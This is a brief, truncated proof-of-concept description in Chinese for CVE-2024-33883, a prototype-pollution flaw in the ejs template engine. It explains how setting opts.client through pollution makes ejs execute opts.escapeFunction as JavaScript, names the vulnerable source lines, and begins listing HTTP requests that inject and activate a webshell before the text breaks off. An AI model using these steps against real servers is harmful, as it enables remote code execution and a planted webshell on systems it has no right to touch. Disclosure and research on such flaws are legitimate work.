PoC-CVE-2024-33883

CVE-2024-33883 [email protected]，原型污染验证不足导致RCE利用 利用原型污染，将opts.client设置为真值（条件） 然后，当render运行时，ejs会将opts.escapeFunction的值作为JS代码执行。 漏洞代码范围 基于[email protected] 1. ejs/lib/ejs.js - line 580, 636, 637 PoC（注入webshell并激活） root@kitploit: 1. GET /pollute?target=client&value=1 2. GET...